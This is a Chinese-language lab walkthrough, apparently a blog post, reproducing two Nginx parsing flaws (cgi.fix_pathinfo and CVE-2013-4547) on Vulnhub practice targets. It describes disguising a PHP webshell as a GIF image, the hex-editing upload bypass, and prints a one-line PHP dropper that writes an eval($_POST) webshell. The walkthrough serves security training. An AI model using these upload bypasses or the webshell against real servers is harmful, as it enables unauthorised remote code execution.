Vulnhub靶场Nginx解析漏洞复现
一.nginx_parsing
原理:这个解析漏洞其实是PHP CGI的漏洞,在PHP的配置⽂件中有⼀个关键的选项cgi.fix_pathinfo默认是开启的,当URL中有不存在的⽂件,PHP就会向前递归解析。在⼀个⽂件/xx.jpg后⾯加上/.php会将 /xx.jpg/xx.php 解析为 php ⽂件。
利用条件:
1.Nginx <=0.8.37
2.cgi.fix_pathinfo=1
Nginx的⽂件解析漏洞...和IIS7.0的解析漏洞同样的原理,因为 cgi.fix_pathinfo=1 造成的解析漏洞...
打开我们的nginx_parsing靶场
创建一个名为1.php的木马文件上传,我们发现上传失败
他说让我们上传一个图片,那我们把他的名字改为1.jpg并且将内容写成
GIF89a开头的木马文件
再上传,发现上传成功了
我们在访问后面这串加上/.php
检查一下是否写入成功
写入成功
二.CVE-2013-4547
原理:此漏洞为⽂件名逻辑漏洞,该漏洞在上传图⽚时,修改其16进制编码可使其绕过策略,导致解析为php。 当Nginx得到⼀个⽤户请求时,⾸先对url进⾏解析,进⾏正则匹配,如果匹配到以.php后缀结尾的⽂件名,会将请求的PHP⽂件交给PHP-CGI去解析。
影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
打开我们的CVE-2013-4547靶场
https://img-home.csdnimg.cn/images/20230724024159.png?origin_url=https%3A%2F%2Fimg-home.csdnimg.cn%2Fimages%2F20230724024159.png%3Forigin_url%3D%25E3%2580%2581%26pos_id%3DdWqOjIqy&pos_id=dWqOjIqy
创建一个名为1.jpg的文件,里面输入<?php phphinfo(); ?>,上传抓包
在3.jpg后面加上两个空格再加上一个.php
再换到HEX中,找到1.jpg这里,将2020改成2000
放行
上传成功,访问一下我们的文件,删除一个g,再抓包
将3.jp后面补全写上两个空格加上.php
换到HEX,找到3.jpg .php那一栏,把2020改成2000,放行
也可以用下面这个php语言写在3.jpg
<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"]);?>')?>
生成一个shell.php的木马文件,去访问shell.php来连接蚁剑